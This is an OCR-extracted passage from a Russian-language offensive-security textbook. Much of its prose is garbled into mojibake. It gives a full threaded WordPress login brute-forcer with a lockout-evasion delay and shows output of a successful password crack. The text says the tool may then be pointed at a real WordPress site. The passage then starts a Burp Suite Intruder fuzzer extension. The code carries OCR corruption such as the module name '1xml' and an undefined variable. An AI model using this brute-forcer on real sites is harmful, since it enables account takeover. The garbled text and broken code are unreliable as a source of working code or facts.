HEJIb3sI TECTUPOBATD Ha PEAIbHbBIX LEISX — 0053aTe/IbHO [IOAIOTOBLTE CIIEI[UATIb-
HYIO KOIIUIO BeO-IIPUJIOKEHNUS ¢ U3BECTHBIMU BaM YYeTHBIMU JaHHBIMU 1 yOEAUTECH
B TOM, YTO MHCTPYMEHT JIaeT JKeJlaeMblii pesyJbrar. lasaiite cosmamum Python-
(aiin ¢ umenem wordpress_killer.py 1 HaOepeM B HEM CJIEAYIOUIMIA KOJ:

from io import BytesIO
from 1xml import etree
from queue import Queue

import requests
import sys
import threading
import time

SUCCESS = 'Welcome to WordPress!' @
TARGET = "http://boodelyboo.com/wordpress/wp-login.php" @
WORDLIST = '/home/tim/bhp/bhp/cain.txt’

def get_words(): ©
with open(WORDLIST) as f:

raw_words = f.read()

words = Queue()
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for word in raw_words.split():
words.put(word)
return words

def get_params(content): @
params = dict()
parser = etree.HTMLParser()
tree = etree.parse(BytesIO(content), parser=parser)
for elem in tree.findall('//input'): # Haxoaum Bce snemeHTH input ©
name = elem.get('name")
if name is not None:
params[name] = elem.get('value', None)
return params

ITu ob1IKe mapaMeTpsl 3aCIyKUBaOT 0co60T0 BHUMaHus. [lepemMertast TAR-
GET ® — sto URL-anpec, ¢c koToporo ckpunT nusnavaiabHo 3arpyskaet HTML s
nasbHeitero pasbopa. IlepemenHast SUCCESS @ — 5TO CTPOKA, KOTOPYIO MbI Oy /1eM
HCKaTh B TeJie OTBETA MOCJIe KakK/I0i MOMBITKH, YTOOBI OMPEAETUTD, OTYYHI0CH
y Hac mogo6paTh yYeTHbIE JaHHbIE WU HET.

ODyuknus get_words © 10KHA BBITAAETH 3HAKOMO, TAK KAK €€ aHAJIOT HCITOJIb-
30BaJjicst B cKpuITe repebopa B pasiene «OnpenesieHne CTPYKTYPbl KaTaJIoros
MeTozioM Tepebopar. Dyukius get_params @ npunumaer teio HTTP-oTsera,
pasbupaeT ero u IMUKJINYECKH TIPOXOIUTCS 10 BCEM dJIeMeHTaM input @, 4ToObI
COCTaBUTD CJIOBAPh C ITapaMeTpaMu, KOTOPble HaM HY>KHO 3alIOJTHUTD. Ternepb Ha-
MUIIIEM OCHOBHYIO JIOTUKY HAIllero MHCTPyMeHTa. YacThb mpeicTaBIeHHOTO 3/1eCh
KO/Ia I0JKHA OBITh BaM 3HAKOMA 10 JIMCTUHTAM TIPE/IBIAY X HHCTPYMEHTOB JIJIST
nepebopa, TT09TOMY OCTAHOBUMCSI TOJIBKO Ha HOBBIX ITPHEMaX.

class Bruter:
def __init_ (self, username, url):
self.username = username
self.url = url
self.found = False
print(f'\nBrute Force Attack beginning on {url}.\n")
print("Finished the setup where username = %s\n" % username)

def run_bruteforce(self, passwords):
for _ in range(10):
t = threading.Thread(target=self.web_bruter, args=(passwords,))
t.start()

def web_bruter(self, passwords):
session = requests.Session() ©
resp@ = session.get(self.url)
params = get_params(resp@.content)
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params[ 'log'] = self.username

while not passwords.empty() and not self.found: ®
time.sleep(5)
passwd = passwords.get()
print(f'Trying username/password {self.username}/{passwd:<10}")
params[ 'pwd'] = passwd

respl = session.post(self.url, data=params) ©

if SUCCESS in respl.content.decode():
self.found = True
print(f"\nBruteforcing successful.")
print("Username is %s" % self.username)
print("Password is %s\n" % brute)
print('done: now cleaning up other threads. . .')

ITO HalI TJIABHBIN KJacc ist Tiepebopa, KOTOPbIii Gy/IeT 3aHUMaThCs OTITPABKOIA
Bcex HTTP-zanpocos u 06paboTkoii cookie. Boimosnenne meroa web_bruter,
KOTOPBII atakyeT (hopMy BX0ja METOIOM 1epebopa, COCTOUT M3 TPEX ITATIOB.

Ha nepsom stane @ Mbl HHUIIMAIU3UPYEM OObEKT Session u3 GUOIMOTEKN
requests, KOTOPBIii Gy/IeT aBTOMaTHYeCKH 0OpabaThiBaTh cookie. 3aTeM BbITOJI-
HsIeM HavdaJbHBIN 3armpoc K hopme Bxoza. [losyuns nexonusiiit HTML-kom, Mbr
nepesiaeM ero (hyHKIINHU get_params, KOTOpasi pa3bupaeT CoAePKUMOE apaMeTPOB
U BO3BPAIIlAeT CJIOBapb CO BCEMU U3BJEUeHHBbIMU dieMeHTamu dhopmbl. [locie
ycnerroro paz6opa HTML s3amensiem mapamerp username. Terepb MOKHO Ha-
YUHATD [UKJIMIECKHIT TIepebop TOTEHITHATBHBIX TTAPOJIEil.

BryTpu 1ikiia @ Mbl Ha HECKOJILKO CEKYH/T OCTAHABINBAEMCSI B TIOTIBITKE H30€KaTh
GJIOKMPOBAHIIST YIETHOI 3AITHCH. 3aTeM I0CTAeM U3 0Y€PE/IH APOJIb 1 HCIIOIb3yeM
€ro JIJIs1 OKOHYATE/IbHOIO 3aII0THEHUSI CI0Baps ¢ napamerpamu. Eciu B ouepenu
He 0CTaJIOCh l1apoJieli, II0TOK 3aBEPILIAeTCsI.

Ha tperbem atane © mbr mtem POST-3ampoc co cioBapem mapamerpos. Korza
MPUJIET OTBET HA MOMBITKY ayTeHTH(hUIIUPOBATHCS, TPOBEPsieM, Obla JI OHA
YCIEIHOH, TO €CTh COJAEPKUT JIM OTBET CTPOKY SUCCESS, ompeiesieHHY0 HaMu
panee. Eciin aTa cTpoKa IIPUCYTCTBYET M HaM YAJI0Ch BOUTH, OUUIIAEM OUEPEb,
4TOObI IPYTHE MOTOKU MOTJIH OBICTPO 3aBEPIIUTH CBOIO PaboTYy.

YT006bI 3aKOHYUThH HAIIMCAHKWE UHCTPYMEHTaA JJist Tiepebopa naposieid, 100aBum
CJIETYIONTUI KO

if __name__ == '__main__':
words = get_words()
b = Bruter('tim', url) @
b.run_bruteforce(words)) ®
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Bot u Bce! MbI mepesiaem username 1 url kiaccy Bruter @ u aTakyeM IpHIOsKeHNE
C TTIOMOMIBIO OYEPEIN, CO3/IAHHOI Ha OCHOBE cucKa words @. Terepb TocMOTPUM
Ha TO, KaK BCE 9TO Marndecku paboTaer.

OCHOBbI PABOTbl C HTMLPARSER

B npumepax, npenctaeBneHHbIX B 3TOM pA3AE€ne, Mbl MCMO/b3OBAJM MAKETHI
requests u 1xml gns eeinonHeHus HTTP-sanpocoe u pas6bopa nosny4yeHHoro co-
aepxxmmoro. Ho uto ecnm sTm nakeTbl HENb3sA YCTAHOBUTL U MPUXOAUTCA OrPAHM-
YMBATBCA CTOHAAPTHOM BMbnnoTekor? Kak oTmeuanocs B HaYane rnaesi, 3anpockl
MOXHO BbIMONHATL C Momoubio urllib, oAHAKO CHMHTAKCHMYECKMA QHANM3ATOP
HY>XHO ByAeT MMCaTb COMOCTORATENBHO, UCMONb3Ys CTAHAAPTHLIA Moaynb html.
parser.HTMLParser.

Mpu mcnonbsoBaHuM knacca HTMLParser MOXHO PeEANM30BATbL TPU OCHOBHbIX
meTopa: handle starttag, handle endtag m handle data. @yHkumsa handle_
starttag Bbi3biBaeTcs npyM obHApyxeHMn kaxxaoro oTkpsisawwero HTML-Tera,
a KOrga aHanuMsatop HaxoauTt sakpsisaowmii HTML-Ter, BbisbiBaeTcs ¢yHKUMs
handle_endtag. Beizoe ¢pyHkumMM handle_data npourcxoamT B cnyuae, ecnm mexay
Teramm ectb obbiuHbIM TekcT. MpoToTHNLI 3TUX TPEX METOAOB HEMHOIO OT/INYA-
I0TCS APYr OT APYrd M BbIMAAAT TOK:
handle_starttag(self, tag, attributes)

handle_endttag(self, tag)
handle_data(self, data)

BoT Hebonbwas unnocTpaums Toro, KAk oHM paboTaioT:

<title>Python rocks!</title>

handle_starttag => nepemeHHasa tag 6yneTt paBHa "title"
handle_data => nepemeHHas data 6yameT paBHa "Python rocks!"
handle_endtag => nepemeHHaa tag 6yaeT paBHa "title"

Mmesn anemMeHTapHOE NMpeAcTaBieHUE O TOM, KaK paboTaeTt knacc HTMLParser,
Bbl MOXeTe pasbupaTtb GopMbl, MCKATb CCbUIKM ANA obxopad Beb-cTpaHuu, wu3-
B/IEKATb TEKCT Ana cbopa M aHANM3A ACAHHBIX MM HAXOAWTH BCE M306pPaKEHMs
Ha CcTpaHuue.

MpoBepka HanucaHHoOro

Ecuin BoI etnie He yeranosuan WordPress B cBoeit Bupryainbaoi mammne Kali, ceii-
Jac camoe BpeMsi cJieiaTh 9To. B Hateil BpemenHoi koruu Word Press, pasmeriieH-
HOI Ha caiiTe boodelyboo.com, MbI BEIOpasii tim B KauecTBe UMEHHU TOJIb30BATE IS
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U 1234567 B KauecTBe MapoJisi, YTo0bl yOeauThest B TOM, 4To Bee paboraert. I1o
CYACTIIMNBOMY CTEYEHHIO OOCTOSITEIHCTB ATOT JKe TAPOJib IPUCYTCTBYET B haiise
cain.txt, mpumepHo 30-ii 1o cyeTy. 3ayCTUB CKPUIIT, MBI ITOJIYUYUM CJIeIy 0TI
BBIBOJI

(bhp) tim@kali:~/bhp/bhp$ python wordpress_killer.py

Brute Force Attack beginning on http://boodelyboo.com/wordpress/wp-login.php.
Finished the setup where username = tim

Trying username/password tim/!@#$%

Trying username/password tim/!@#$%"

Trying username/password tim/!@#$%"&

--nponyueHo- -

Trying username/password tim/@racl38i

Bruteforcing successful.
Username is tim
Password is 1234567

done: now cleaning up.
(bhp) tim@kali:~/bhp/bhp$

Kak Buaute, CKpUIIT yCIEITHO 11000paJl TapoJib 1 BowIeN B KoHcosib WordPress.
YT10o6bl 9TO OATBEPANTD, HOIPOOYIiTe ayTeHTU(MUIUPOBATHCS BPYUHYIO, UCIIOJIb-
3ysl Te Ke yueTHble fanibie. [[poBepuB CBOIT HHCTPYMEHT JIOKATBHO 1 YOETUBIITHCH
B TOM, 4TO OH PabOTAET, MOKETe IPUMEHUTD €ro JIJIsk ATAKU HA PEAIbHOE PHUIIO-
xenne WordPress Ha ¢Boit BBIOOD.



PacuumnpeHune npokcu Burp Proxy

Ecou Bl kKorga-nnb6o npoboBaiu B3JaMbIBaTh BeO-
HPUIOKEHNE, TO I 00X0/a BeO-CTPaHMLL, IIPOKCUPO-
Banust Tpadrka Gpaysepa u BHITTOJTHEHUS IPYTUX aTaK,
cKopee BCero, UCIoab30Baau Burp Suite. IToT makeT
MO3BOJISIET CO3/[aBaTh COOCTBEHHBIE MHCTPYMEHTBI — TaK
HasbIBaeMble pactuupenus. Bol MoxeTe 106aBasATh COOCTBEH-
upie manesu B Burp GUI u uaTerpupoBaTh cpesicTBa aBTOMaTU-
3aiun B Burp Suite, npumensist Python, Ruby wiu crangapriyio Bepcuio Java.
Mpr BocTiob3yemcest 9TOH BO3MOKHOCTBIO 1 HATIMIIEM TTOJIe3HbIe MHCTPYMEHTHI
JUIS TIPOBEJIEHUS aTak W pacumpeHHoro cbopa nrdopmanuu. Harre mepBoe pac-
mupenwe Oyer 3azneiicrBoBath HTTP-3ampoc, mepexBadeHHblii ¢ romorisio Burp
Proxy, B kauecTBe OTIIPABHOMN TOYKHM JIJISE MyTAITMOHHOTO (ha33€epa, BHITIOJIHIEMOTO
sayTpu Burp Intruder. Bropoe paciupenne 6yer B3aumoeiictBoBath ¢ Microsoft
Bing API B moucke BUpPTyanibHBIX XOCTOB ¢ TeM ke I P-afpecom, 4To 1 aTakyeMbIit
caiiT, a Takske JIOOBIX TIOIOMEHOB 33JIaHHOTO JIoMeHa. B 3aBepinenue paspabo-
TaeM paciiupenwe st (GOpMUPOBAHUS Ha OCHOBE 3a[aHHOTO BeG-caliTa coBaps,
KOTOPBIIT MOKHO HCITOJIb30BAT JIJIsT TOA00Pa Mapoieii.

B aToii rimaBe mpeniosaraeTces, 4To BB ke NMeJH Jieio ¢ Burp u 3Haete, Kak c 110-
Motibio Burp Proxy mepexBarbiBaTh 3amipochl 1 TiepeaBath ux B Burp Intruder.
Ecm Bam HYy’KHO MpaKkTHYecKoe PyKOBOJICTBO, T/le PACCKA3bIBAETCS O TOM, KaK
9TO JIeJIaTh, MOKeTe JJIs Hadasa moceTuTh BeO-caiit PortSwigger Web Security
(http://www.portswigger.net/).
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TTpusHaeMcs 4eCTHO: KOT/a MbI TOJIbKO Havanu nccienosath APT Burp Extender,
y HaC YILIO HEKOTOPOE BPeMs Ha TO, YT0ObI OHSATH, Kak oH pabGoTaer. Ham on 110-
KasaJicsl HeMHOTO 3aIly TaHHbBIM, TaK KaK Mbl OOBIYHO UCIIOJIb3yeM ToJIbKo Python
U HaIII OIIBIT Pa3paboTKy Ha Java orpannden. Ho Ham ynanoch Haiitu Ha Be6-caiite
Burp pax pacmupenuii, KOTOpble TOCTY;KUIN XOPOIIMMU ITPUMePAMU TOTO, KaK
Ipyrue pebsta MUIIYT KO I 5TOH MIaTdhOPMbL. DTH TIPUMEPDI TIOMOTJIA HaM
HAYYUThCS MHcaTh cOOCTBEHHbIE paciipenus. JlanHas riaBa oxBaTbiBaeT 6as3o-
BBI€ ACTIEKThI pacIImpeHust (QYHKIIMOHATBHOCTH, HO MBI TAK)Ke TTIOKA)KEM BaM, KaK
HCIIOJIb30BaTh MoKyMenTanuio 7151 API B kauecTBe pykoBo/ICTBA.

MopgroTtoBka

[Taket Burp Suite mo ymomruanuio ycranossien B Kali Linux. Ecsin BbI uctiosib3yere
JIPYTYIO CHCTEMY, CKadaiiTe ero Ha caiiTe http://www.portswigger.net/ 1 yctanosure
CaMOCTOATEJIbHO.

Kak a0 HU mevyaabHO, HO BaM MOHAM0OUTCs coBpeMenHast Bepeus Java. B Kali
Linux ona y:xe nmeercsi. Eciin pabortaete ¢ 4eM-TO IPYTHM, MOKETE YCTAHOBUTH €€
C TIOMOIIIBIO METO/1a, KOTOPBIH MTPAKTUKYETCs B Ballleli ccTeMe, TAaKOTo Kak apt, yum
wim rpm. Besten 3a aTum yeranosute Jython — peanusanuio Python 2, nanmcan-
HyIo Ha Java. /lo cux Top Bech Halll KOJi COOTBETCTBOBAN ciHTakcucy Python 3, Ho
B 9TOi1 r71aBe Mbl BepHeMcst K Python 2, Tak kak IMEHHO 9Ty BEPCHIO MOJIEPKUBAET
Jython. CoorsercrByrommuii JAR-daiin MoKHO HaliTH Ha ODUIIMATBHOM caiiTe 1o
azpecy: https://www.jython.org/download.html. Berbepure mynkT Jython 2.7 Standalone
Installer. Coxpanute aTOT (haiia Ha BUAHOM MecTe, HarpuMep Ha PaboueM cTone.

3aTteM 100 BBIIOJHUTE JBOMHOM 1es40K Ha 3Hauke Burb B cucreme Kali, 1160
samycrute Burp B KoMaHaHON CTpOKe:

#> java -XX:MaxPermSize=1G -jar burpsuite_pro_v1.6.jar

Ha sxpane moJykeH mossBUTHCS TpadUIECKUil 1M0JIb30BaTETbCKUIT MHTEePdeTic
(graphical user interface, GUT) Burp co MmHoskecTBOM BKJIasiok (puc. 6.1).

Tenepp gaBaiite mokaxem Burp, rae HaxoauTcst Haul uHTeprperaTop Jython.
[Iepeiinnte na Bryiagky Extender (PacmmpnTesns) n meskHUTe Ha BKIaIKe Options
(TTapametpsr). B pasmeste Python Environment (Cpezna Python) BeiGepure mectoro-
noxenue JAR-daiina Jython (puc. 6.2). OcTanbHbie HapaMeTpbl MOKHO OCTaBUTh
6e3 m3meHeHwit. Termepb Mbl TOTOBBI K HATIMCAHUIO CBOETO MEPBOTO PACIITUPEHMSL.
[Toexammn!
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Burp Suite Community Editionv2.1.04 - T

Rurp Praject Intnsder Repeater Windew Help
[oaboos [ arger [ roy | rrotr | napsta | savarcer | oncodr | comparer | exander | proec spins | e osions |
| [(sitamap | scope | issue definitions |

[Fitter: iing ot foun tame: hiding £S5 image and ganersl binary content, hing Sux razponees: hidngamptytolders @

Hoet [Mothod | URL [Parame | Stabue 4] Length | MM bype | Title]
I

AN 7 L
[ meauest | nasporsa |

‘M Hax |

| 0

L4

@ EI + E] | Tvpe a search term 0 matches

Puc. 6.1. MpaeunbHO 3arpy>XeHHbIM NONbL30BATENLCKMIA MHTEpderic Burp Suite

(7) python Environment

f@mmmmmmﬁmm i for ] jons that are written in Python. To use Pytho, iors, you will need to download Jythan, which is a
Pythan i %

Location of Jython standalane JAR file:

[Irametimibhpliython standalone-2.7.1 jar | [ select file |

Folder for loading modules (optional):
[ [ select folder . |

Puc. 6.2. 3apaHne mectononoxenus nHtepnpetatopa Jython

®azzuHr ¢ ucnonbsosaHmem Burp

Ha xakoMm-To atarie cBOoeil Kapbepbl BbI MOKETE CTOJKHYTHCS ¢ HEOOXOAUMOCTHIO
[POBe/IEHUsI aTaKu Ha BeG-IIPUIIOKEHNE, KOTOPOE HEJb3sl IPOaHAIN3uPOBATh
C TIOMOIIbIO TPAJUITUOHHBIX UHCTPYMEHTOB. Harpumep, 0HO MOXKET UCII0JIb30BaTh
CJTUIIIKOM MHOTO [TapaMeTPOB UM UMETh YMBIIIJIEHHO 3aIlyTAHHBIN KO/, py4HOe
TECTUPOBAaHUE KOTOPOIO 3aHSJI0 ObI CIMIIKOM MHOTO BpeMeHHU. MbI caMi HHOT/IA
[PUMEHSJIA CTaHAaPTHbIE HHCTPYMEHTBI, HE CIIOCOOHbBIE CIIPABUTHCS ¢ HEOOBIY-
HBIMY TIPOTOKOJIAMU, a 3a4acTyio fake ¢ JSON. B takux cutyanusix mMmeer CMbICJI
OTIpeNIeNInTh, Kak BRITAAUT HopManbHbIll HTTP-Tpaduk, Briatouad ayrentudu-
KaI[MOHHbIE cookie, U mepenarh TeJo 3armpoca cOOCTBEHHOPYYHO HATMCAHHOMY
azzepy. 3ateM aTOT (hazzep CMOKET CAENATh C COMEPKUMBIM 3aIIPOCa BCe, YTO
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BaM yroaHo. B kauecTse miepBoro pacumpenus s Burp cosgaaum npocreiinmmii
B Mupe (assep BeO-TPUIOKEHMIA, KOTOPbI [1037Ke MOKHO Oy/IeT IPeBPaTUTh BO
4T0-TO O0JIee (PYHKIIMOHAIBHOE.

B coctaBe Burp ectb 11eJ1blii psi/i MHCTPYMEHTOB JIJIsl aHA/IN3a BEG-TIPHIIOKEHHIA.
ITOT 1poriecc 0OBIYHO BBITJISIUT TaK: BbI TIEPEXBATHIBAETE 3AIIPOCHI C TOMOIIIBIO
Burp Proxy u, eciin Kakoii-TO U3 HUX BaM KaKeTCsl HHTEPECHDBIM, TIEPENAETEe €T
JPYrOMy WHCTPYMeHTY Burp, posib KoTroporo oO6buHO urpaet Repeater. IToT nH-
CTPYMEHT TI03BOJISIET BOCITPOM3BOAUTD BEO-TpaUK 1 BPYUHYIO MOAU(DUIIPOBAT
J00BIE €r0 y4acTKU, KOTOPbIe Bac UHTepecyioT. YToObl aBTOMATH3UPOBATH CBOM
aTaku, 3alPOChl MOKHO IiepeaBath HHCTpyMeHTy Intruder, KOTOpBIii 1bITaeTCs
CaMOCTOSITEILHO OTPE/IENIUTD, KaKue YacTu Tpaduka caeayer MoAubuInpoBaTh,
U TI03BOJISIET BaM ITPUMEHSITh Pa3InIHbIe aTaKi, YTOOBI CIIPOBOIIMPOBATH BBIBOJL
coobuieHnit 06 ommOKax WM BBISIBUTDH ysI3BUMOCTH. Pacuiuperre Burp mosker
B3aMMOJIEHCTBOBATD C APYTMMU MHCTPYMEHTAMK 9TOTO MaKeTa MHOKECTBOM Pas-
HBIX c110c000B. B iprumepe Mbl 106aBUM HYKHbIE BOBMOKHOCTH HEIIOCPEIACTBEHHO
B Intruder.

IlepBoe, 4TO MIPUXOANUT B TOJIOBY, — 3TO 3arIAHYTH B lokyMeHTannio APl Burp
U OIpe/IeJIUTh, KaKKe KJIacChl HaM HYKHO YHACJIe0BaTh, 4TOObI HAIMCATh COO-
CTBEeHHOE paciupenue. s noaydeHus A0CTya K JOKyMeHTalluu MOKHO TepeiTH
Ha BKJaAKy Extender (Pacmmpuresnb) u meakHyTh Ha BKIagKe APIs. API moxkeT
[10Ka3aThCd BaM HEMHOT'O ITyTAOUM, TaK KaK B HEM sIBHO [TPOCJIEKUBACTCS CTUIIb
Java. Ho obpaTuTe BHIMaHIe Ha TO, HACKOJIBKO yIauHO Ha3BaJIl BCE CBOU KJIACCHI
paspaboTunky Burp: 5To MO3BOJIMT HaM JIETKO OIIPEAEIUTD, C YeTr0 CJIeLyeT Hadr-
HaTb. B 4acTHOCTH, MOCKOJIBKY MBI TIBITAEMCsI TIPOAHATU3UPOBATH BEG-3aIIPOCHI
B XOJle aTaK¥ ¢ MCIoab30BaHueM Intruder, CTOUT COCPEOTOUUTHCS Ha KJaccax
IIntruderPayloadGeneratorFactory u IIntruderPayloadGenerator. [locMoTpuM,
4TO TOBOPUTCA O Kjacce IIntruderPayloadGeneratorFactory B JIOKyMEHTAIIUN:

/**
* Extensions can implement this interface and then call
* IBurpExtenderCallbacks.registerIntruderPayloadGenerator Factory() ©
* to register a factory for custom Intruder payloads.

*/

public interface IIntruderPayloadGeneratorFactory
{
/**
* This method is used by Burp to obtain the name of the payload
* generator. This will be displayed as an option within the
* Intruder UI when the user selects to use extension-generated
* payloads.
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* @return The name of the payload generator.
*/
String getGeneratorName(); @

/**
* This method is used by Burp when the user starts an Intruder
* attack that uses this payload generator.

* @param attack

* An IIntruderAttack object that can be queried to obtain details
* about the attack in which the payload generator will be used.

* @return A new instance of

* IIntruderPayloadGenerator that will be used to generate

* payloads for the attack.

*/

IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack); ©

}

B nepBoii wactu noxymenTaiuu @ roBOpuUTCS O TOM, UTO MBI TOJOKHBI 3ape-
TUCTPUPOBATH Hallle paclnpenne cpejctsaMu Burp. Bmecte ¢ IIntruderPay-
loadGeneratorFactory yHacjejyeM raaBHblil kjaace Burp. Ilocaeanuit Tpe-
OyeT, 4TOOBI MBI PEATN30BAJN B HACJEIHUKE [[BA METO/Ia. Burp BbI30BET MeTO/I
getGeneratorName @ g TTOJTydYeHUS IMEHH HAIIIETO PACTITUPEHUS, T MBI JIOJIKHBI
BEPHYTH B OTBET CTPOKY. MeTox createNewInstance © 1noskeH BO3BpaIlaTh
ak3eMIIgp IIntruderPayloadGenerator — BTOPOro KJacca, KOTOPbIA HYKHO
CO3/1aTh.

Terepb NPUCTYIIUM HEMOCPEACTBEHHO K HallMCcaHuio Koia Ha Python, koTopsrii
6y,ZI€T YAOBJIETBOPATH 3TUM Tpe6OBaHI/I§IM, a IIO3Ke TIpUAyMaeM, Kak ,Z[O63.BI/ITI)
kmacc IIntruderPayloadGenerator. Co3naiiTe daiin ¢ umenem bhp_fuzzer.py
1 HabepuTe CJACAYIONUIT KO
from burp import IBurpExtender ©
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
from java.util import List, ArraylList
import random
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): @
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()

callbacks.registerIntruderPayloadGeneratorFactory(self) ©
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return

def getGeneratorName(self): @
return "BHP Payload Generator"

def createNewInstance(self, attack): ©
return BHPFuzzer(self, attack)

ITOT MPOCTON KapKac MOKa3bIBAET, YTO HY/KHO C/IeJaTh, 4TOObI YIOBIETBOPSATH
nepBoit rpytre TpeboBanwmii. JIioboe cozmaBaemMoe paciimpenue J0KHO HMITOP-
TUPOBATD Kjacc IBurpExtender @. Mbl Takske JIOJIKHBI KMIIOPTUPOBATDH KJIACCHI,
HeoOXOoMMBIe JIJIs HallMCcaHus TeHepatopa cogepxumoro Intruder. Besen 3a aum
otpejiesisieM KJacc BurpExtender @, KOTOPbII SIBJISIETCSI HACJEIHUKOM KJIACCOB
IBurpExtender u IIntruderPayloadGeneratorFactory. /lajbliie peructpupyem
€T0 C TIOMOIIBIO MeTO/Ia registerIntruderPayloadGeneratorFactory ©, 4TOOBI
uHcTpyMmeHT Intruder 3Has1, 4TO MBI MOJKEM F€HEPHPOBATH COEPIKUMOE 3aITPOCOB.
3aTeM peanmmszyeM MeTol getGeneratorName @, KOTOPBII TPOCTO BO3BpAIIaeT
Ha3BaHUe TeHepaTopa CcoAepKUMOTo. B KOHIle HAXOAUTCS peanusalus MeTo1a
createNewInstance ©, KOTOPBIIl MPUHUMAET IMapaMeTp attack U BO3BpaIlaeT
AK3eMILISIP Kiaacca IIntruderPayloadGenerator — MBI Ha3BaJM MOCJIETHUN
BHPFuzzer.

3arigueM B JIOKyMEHTaIUIO Kjacca ITntruderPayloadGenerator, YTOOBI YBUJIETD,
4TO HYKHO pean30BaTh:

/**
* This interface is used for custom Intruder payload generators.
* Extensions
* that have registered an
* IIntruderPayloadGeneratorFactory must return a new instance of
* this interface when required as part of a new Intruder attack.
*/

public interface IIntruderPayloadGenerator

{

* %

This method is used by Burp to determine whether the payload
generator is able to provide any further payloads.

@return Extensions should return
false when all the available payloads have been used up,
otherwise true

* K X X ¥ ¥

*/
boolean hasMorePayloads(); ©

/**
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This method is used by Burp to obtain the value of the next payload.

*
*
* @param baseValue The base value of the current payload position.
* This value may be null if the concept of a base value is not

* applicable (e.g. in a battering ram attack).

* @return The next payload to use in the attack.

*/

byte[] getNextPayload(byte[] baseValue); ®

*

/*

* This method is used by Burp to reset the state of the payload
* generator so that the next call to

* getNextPayload() returns the first payload again. This

* method will be invoked when an attack uses the same payload

* generator for more than one payload position, for example in a
* sniper attack.

*/

void reset(); ©

Wrtak, Mbl 3HaeM, 4TO HYKHO peajn30BaTh 0a30BbIil KJIACC, B KOTOPOM JOJIKHbBI
OBITD nocTymHbl Tpu MeToza. [lepBrIiit MmeTon, hasMorePayloads @, ompesiesiserT,
[POIOJIKATH JIU TIepeaBaTh MOAUMUIIMPOBAHHbIE 3aIIPOCH 0GPATHO UHCTPYMEHTY
Burp Intruder. [I;1s1 5TOro Bocmosb3yeMcst c4eTdnKoM. Kak TOJbKO CUETYUK J10-
CTUTHET MAKCHMAIbHOIO 3HAYEeHUsI, BepHeM False, UTOObI IIPEKPATUTD TEHEPALIUAIO
MOUGPUITUPOBAHHBIX 3a11pocoB. MeTo/i getNextPayload @ MOJIYyYUT UCXOHOE
cozmepsxkumoe mepexBadentoro vamu HTTP-3ampoca. Takke moskere BoIOPAThH
B HTTP-3arnpoce HECKOJIBKO MHTEPECYIONTNUX BAC YYACTKOB, B 9TOM CJIy4ae MM0oJIy-
4KTe TOJBKO Te GAiThl, KOTOpBIE IIaHKupyeTe MoanduIupoBarh (noapodHel 06
9TOM TT03:Ke ). ITOT METOJI TIO3BOJISIET BUAOU3MEHUTD UCXOIHBIN TECTOBBIN CJIydaii
U 3aTe€M BepHYTb ero obparHo Burp st ocsenyionieii orrpasku. ITocaeanii me-
TOJI, reset ©, IpUMeEHSIETCS, €CJIN MbI XOTUM CT€HEPUPOBATD 3apaHee N3BECTHBIN
Hab0P MOANGDUIMPOBAHHBIX 3AIIPOCOB, 1 BO BCEX CJIyYasaX MO3BOJISIET IPOMTUCH 1TO
BCeM TTapaMeTpaM, ITepeurcJIeHHbIM Ha BKIaaKe Intruder. Hamr hazzep mosryanrces
He CJIMIIKOM BbIYYPHBIM, OH IIPoCcTO Oyner Moauduiuposars kaxabiii HTTP-
3aIpoc CAyYaiHbBIM 06Pa3OM.

Temepb MoCMOTpUM, Kak 9T0 Oy/IeT BBITJISIIETH B Kojie Ha si3bike Python. [lo6aBbre
B KoHerIl (paiisa bhp_fuzzer.py ciemyioriee:

class BHPFuzzer(IIntruderPayloadGenerator): @
def __init_ (self, extender, attack):
self. extender = extender
self._helpers = extender._helpers
self._attack = attack
self.max_payloads = 10 ®
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self.num_iterations = 0@

return

def hasMorePayloads(self): ©
if self.num_iterations == self.max_payloads:
return False
else:
return True

def getNextPayload(self,current_payload): @
# npeobpasyem B CTpoKy
payload = "".join(chr(x) for x in current_payload) ©

# BbiI3bIBaeM Haw MNpocToi MeTon AnAa moaudmkaumm POST-3anpoca
payload = self.mutate_payload(payload) ®

# WHKpeMeHTUpyeM KONWYeCTBO MOMbITOK
self.num_iterations += 1 @

return payload

def reset(self):
self.num_iterations = @
return

[lus mauana onpezesnsieM kjaacc BHPFuzzer @, KOoTOpbiil Hacaeayer IIntru-
derPayloadGenerator. OupezaeseM 00s3aTeabHbIE IO KIacca U MPUbaB/IsseM
K HUM ellle Be TlepeMeHHble, max_payloads @ u num_iterations, Omaroma-
ps KoTopbiM Burp 6yzaer 3HaTh, Korja Mbl 3aKOHYUM (as3uHr. KoHeuHo, Mbl
MOTJIH Obl MO3BOJIMTH PACHINPEHWUIO BBITIOJHSATHCS HEOTPAHUUEHHOE BPeMst, HO
JUISE TECTUPOBAHUS MIPEYCMOTPUM JUMUTHI. Besies 3a aTUM peannsyemM MeTojl
hasMorePayloads ©, KOTOPbIiT IIPOCTO IIPOBEPSIET, TOCTUTJIN JIK Mbl MAKCUMAJIbHOTO
KosmuecTBa uTeparuii (pazsuura. Ecam Bcerma Bo3BpamaTh True, pacinpeHne
Oyaer paboraTh HenpepbiBHO. MeTox getNextPayload @ nprHUMAET UCXOMHOE
comepsxnmoe HTTP-3ampoca, UMeHHO 371eCh OYIeT MPOucXoanuTh as33umr. [lepe-
MeHHast current_payload IPUXOAUT B BU/I€ MacciBa 6aiiTOB, HOATOMY MbI TPE06-
pasyeMm ee B CTPOKy O u repesiaeM MeToxy a3z3unra mutate_payload ®. 3atem
MHKPEMEHTUPYEM IlepeMeHHYIo num_iterations @ u Bo3BpaiaeM MOAUpUIIUPO-
BaHHOE cozepskumoe. [locieauii MeTo, reset, HUYETO He /IeJIaeT.

Tereps HamHIIIEM caMbIil TPOCTON B MUpPe MeTO (ha33uHTa, KOTOPBIN BbI TIOTOM
CMOKeTe OTPETAKTUPOBATH TaK, KaK BaM yrojino. Harmpumep, TaHHbII MeTOT 3HAET
COJIEPKUMOE TEKYIIETO 3aIIPOCa, T0ITOMY €CJIU BbI UMEETE JIEJI0 CO CJIOKHBIM ITPO-
TOKOJIOM, KOTOPBIiT TPEOYET 4ero-To 0COOEHHOTO (CKakeM, KOHTPOJIBHON CyMMBbI
